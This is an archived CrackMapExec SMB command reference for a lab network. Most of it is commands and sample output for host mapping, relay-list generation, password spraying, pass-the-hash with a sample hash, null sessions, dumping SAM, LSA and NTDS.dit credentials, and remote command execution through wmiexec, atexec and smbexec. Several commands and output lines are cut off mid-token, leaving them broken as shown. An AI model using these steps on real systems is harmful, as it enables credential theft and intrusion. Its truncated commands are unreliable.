SMB Command Reference

By byt3bl33d3r

Archived: 2026-04-06 01:06:17 UTC

SMB: Command Reference

Updated: 7/27/18
CME Version:4.0.1dev

Notes about command reference:
The following use cases assume you have a Kali Linux host connected to an internal network.
For the examples it is also assumed hosts are within a 192.168.1.0/24 IP space. If CME isnt giving output of anykind, you probably have something wrong with the command.

Mapping/Enumeration

Map network hosts

Returns a list of live hosts

```
#~ cme smb 192.168.1.0/24
```

Expected Results:

```
 SMB         192.168.1.101    445    DC2012A          [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012A
SMB         192.168.1.102    445    DC2012B          [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012B)
SMB         192.168.1.110    445    DC2016A          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name
SMB         192.168.1.117    445    WIN10DESK1       [*] WIN10DESK1 x64 (name:WIN10DESK1) (domain:OCEAN) (signi
```

Generate Relay List

Maps the network of live hosts and saves a list of only the hosts that dont require SMB signing.
List format is one IP per line

```
#~ cme smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txt
```

Expected Results:

```
 SMB         192.168.1.101    445    DC2012A          [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012A
SMB         192.168.1.102    445    DC2012B          [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012B)
SMB         192.168.1.111    445    SERVER1          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name
SMB         192.168.1.117    445    WIN10DESK1       [*] WIN10DESK1 x64 (name:WIN10DESK1) (domain:OCEAN) (signi
...SNIP...

#~ cat relaylistOutputFilename.txt
192.168.1.111
192.168.1.117
```

Enumerate shares and access

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares
```

Enumerate active sessions

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions
```

Enumerate disks

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --disks
```

Enumerate logged on users

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --loggedon-users
```

Enumerate domain users

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --users
```

Enumerate users by bruteforcing RID

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --rid-brute
```

Enumerate domain groups

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --groups
```

Enumerate local groups

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-groups
```

Obtain domain password policy

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --pass-pol
```

Authentication + Checking Credentials (Domain)

Failed logins result in a [-]
Successful logins result in a [+] Domain\Username:Password

Local admin access results in a (Pwn3d!) added after the login confirmation, shown below.

```
        SMB         192.168.1.101    445    HOSTNAME          [+] DOMAIN\Username:Password (Pwn3d!)
```

The following checks will attempt authentication to the entire /24 though a single target may also be used.

User/Password

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE'
```

User/Hash

After obtaining credentials such as
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::
you can use both the full hash or just the nt hash (second half)

```
 #~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'
#~ cme smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'
#~ cme smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c
```

Null Sessions

```
#~ cme smb 192.168.1.0/24 -u '' -p ''
```

If multiple domains are in play you may need to specify the target domain using -d
For example authenticating to the domain labnet.com

```
 #~ cme smb 192.168.1.0/24 -u UserNAme -p "PASSWORDHERE" -d LABNET
```

Using Username/Password Lists

You can use multiple usernames or passwords by seperating the names/passwords with a space.

```
 #~ cme smb 192.168.1.101 -u user1 user2 user3 -p Summer18
#~ cme smb 192.168.1.101 -u user1 -p password1 password2 password3
```

CME accepts txt files of usernames and passwords. One user/password per line. Watch out for account lockout!

```
 #~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18
#~ cme smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt
```

Note: By default CME will exit after a successful login is found. Using the --continue-on-success flag will continue spraying even after a valid password is found. Usefull for spraying a single password against a large user list Usage example:

```
 #~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success
```

Authentication/Checking credentials (Local)

Adding --local-auth to any of the authentication commands with attempt to logon locally.

```
 #~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth
#~ cme smb 192.168.1.0/24 -u '' -p '' --local-auth
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT' --local-auth
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH' --local-auth
#~ cme smb 192.168.1.0/24 -u localguy -H '13b29964cc2480b4ef454c59562e675c' --local-auth
#~ cme smb 192.168.1.0/24 -u localguy -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --
```

Results will display the hostname next to the user:password

```
        SMB         192.168.1.101    445    HOSTNAME          [+] HOSTNAME\Username:Password (Pwn3d!)
```

Obtaining Credentials

The following examples use a username and plaintext password although user/hash combos work as well.

*Requires Local Admin
***Requires Domain Admin or Local Admin Priviledges on target Domain Controller

*Dump SAM hashes using methods from secretsdump.py

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
```

*Dump LSA secrets using methods from secretsdump.py

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
```

***Dump the NTDS.dit from target DC using methods from secretsdump.py

```
 2 methods are available:
(default)        drsuapi -  Uses drsuapi RPC interface create a handle, trigger replication, and combined with
                                                additional drsuapi calls to convert the resultant linked-l
                         vss - Uses the Volume Shadow copy Service
```

```
 #~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
```

***Dump the NTDS.dit password history from target DC using methods from secretsdump.py

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
```

***Show the pwdLastSet attribute for each NTDS.dit account

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
```

Spidering Shares

Options for spidering shares of remote systems.

***Spider the C drive for files with txt in the name (finds both sometxtfile.html and somefile.txt)

Notice the '$' character has to be escaped. (example shown can be used as-is in a kali linux terminal)

```
#~ cme SMB <IP> -u USER -p PASSWORD --spider C\$ --pattern txt
```

Command Execution

Options for executing commands on remote systems.

Execution Methods

CME has three different command execution methods:

- `wmiexec` executes commands via WMI
- `atexec` executes commands by scheduling a task with windows task scheduler
- `smbexec` executes commands by creating and running a service

By default CME will fail over to a different execution method if one fails. It attempts to execute commands in the following order:

1. `wmiexec`
2. `atexec`
3. `smbexec`

If you want to force CME to use only one execution method you can specify which one using the `--exec-method` flag.
The command execution method is denoted in the Executed Command output line.
WMIEXEC example, note the 'Executed command via wmiexec' output line.

```
 root@EvilRick:~# cme smb 10.10.33.121 -u Administrator -p AAdmin\!23 -X '$PSVersionTable' --exec-method wmiexe
SMB         10.10.33.121    445    DESKTOP1         [*] Windows 7 Ultimate N 7601 Service Pack 1 x64 (name:DESK
SMB         10.10.33.121    445    DESKTOP1         [+] PACIFIC\Administrator:AAdmin!23 (Pwn3d!)
SMB         10.10.33.121    445    DESKTOP1         [+] Executed command via wmiexec
SMB         10.10.33.121    445    DESKTOP1         Name                           Value
SMB         10.10.33.121    445    DESKTOP1         ----                           -----
SMB         10.10.33.121    445    DESKTOP1         CLRVersion                     2.0.50727.8793
SMB         10.10.33.121    445    DESKTOP1         BuildVersion                   6.1.7601.17514
SMB         10.10.33.121    445    DESKTOP1         PSVersion                      2.0
SMB         10.10.33.121    445    DESKTOP1         WSManStackVersion              2.0
SMB         10.10.33.121    445    DESKTOP1         PSCompatibleVersions           {1.0, 2.0}
SMB         10.10.33.121    445    DESKTOP1         SerializationVersion           1.1.0.1
SMB         10.10.33.121    445    DESKTOP1         PSRemotingProtocolVersion      2.1
```

Executing Commands

Currently Broken in bleeding edge.

In the following example, we try to execute `whoami` on the target using the `-x` flag:

```
 #~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami
SMB         192.168.10.11    445    WIN7BOX         [*] Windows 7 Ultimate N 7601 Service Pack 1 x64 (name:WIN7B
SMB         192.168.10.11    445    WIN7BOX         [+] LAB\Administrator:P@ssw0rd (Pwn3d!)
SMB         192.168.10.11    445    WIN7BOX         [+] Executed command
SMB         192.168.10.11    445    WIN7BOX         lab\administrator
```

Executing Powershell Commands

You can also directly execute PowerShell commands using the `-X` flag:

```
 #~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'
SMB         192.168.10.11    445    WIN7BOX          [*] Windows 7 Ultimate N 7601 Service Pack 1 x64 (name:WIN7
SMB         192.168.10.11    445    WIN7BOX          [+] LAB\Administrator:P@ssw0rd (Pwn3d!)
SMB         192.168.10.11    445    WIN7BOX          [+] Executed command
SMB         192.168.10.11    445    WIN7BOX          Name                           Value
SMB         192.168.10.11    445    WIN7BOX          ----                           -----
SMB         192.168.10.11    445    WIN7BOX          CLRVersion                     2.0.50727.8793
SMB         192.168.10.11    445    WIN7BOX          BuildVersion                   6.1.7601.17514
SMB         192.168.10.11    445    WIN7BOX          PSVersion                      2.0
SMB         192.168.10.11    445    WIN7BOX          WSManStackVersion              2.0
SMB         192.168.10.11    445    WIN7BOX          PSCompatibleVersions           {1.0, 2.0}
SMB         192.168.10.11    445    WIN7BOX          SerializationVersion           1.1.0.1
SMB         192.168.10.11    445    WIN7BOX          PSRemotingProtocolVersion      2.1
```

Powershell commands can be forced to run in a 32bit process:

```
 #~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '[System.Environment]::Is64BitProcess' --force-
SMB         192.168.10.11    445    WIN7BOX          [*] Windows 7 Ultimate N 7601 Service Pack 1 x64 (name:WIN7
SMB         192.168.10.11    445    WIN7BOX          [+] LAB\Administrator:P@ssw0rd (Pwn3d!)
SMB         192.168.10.11    445    WIN7BOX          [+] Executed command
SMB         192.168.10.11    445    WIN7BOX          false
```

Other switches include:

```
--no-output       Does not retrieve command results
```

WMI Query Execution

See more about wmi queries and syntax here: https://docs.microsoft.com/en-us/windows/desktop/wmisdk/invoking-a-synchronous-query

Issues the specified WMI query

User/Password

```
 #~ cme smb 10.10.33.121 -u Administrator -p 'P@ssw0rd' --wmi "SELECT * FROM Win32_logicalDisk WHERE DeviceID =
SMB         192.168.10.11    445    WIN7BOX         [*] Windows 7 Ultimate N 7601 Service Pack 1 x64 (name:WIN7
SMB         192.168.10.11    445    WIN7BOX         [+] LAB\Administrator:P@ssw0rd (Pwn3d!)
SMB         192.168.10.11    445    WIN7BOX         Caption => C:
SMB         192.168.10.11    445    WIN7BOX         Description => Local Fixed Disk
SMB         192.168.10.11    445    WIN7BOX         InstallDate => 0
SMB         192.168.10.11    445    WIN7BOX         Name => C:
SMB         192.168.10.11    445    WIN7BOX         Status => 0
SMB         192.168.10.11    445    WIN7BOX         Availability => 0
SMB         192.168.10.11    445    WIN7BOX         CreationClassName => Win32_LogicalDisk
SMB         192.168.10.11    445    WIN7BOX         ConfigManagerErrorCode => 0
SMB         192.168.10.11    445    WIN7BOX         ConfigManagerUserConfig => 0
SMB         192.168.10.11    445    WIN7BOX         DeviceID => C:
```

TODO: 9/4/18

-Spidering Shares needs updates for the different available flags. -Powershell Scripts obfuscation switches: --obfs and --clear-obfscripts -SMB modules: Probably will create a seperate section.

-Figure out what/why change the wmi-namespace is about.

WMI Namespace

User/Password

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --wmi-namespace 'root\\cimv2'
```
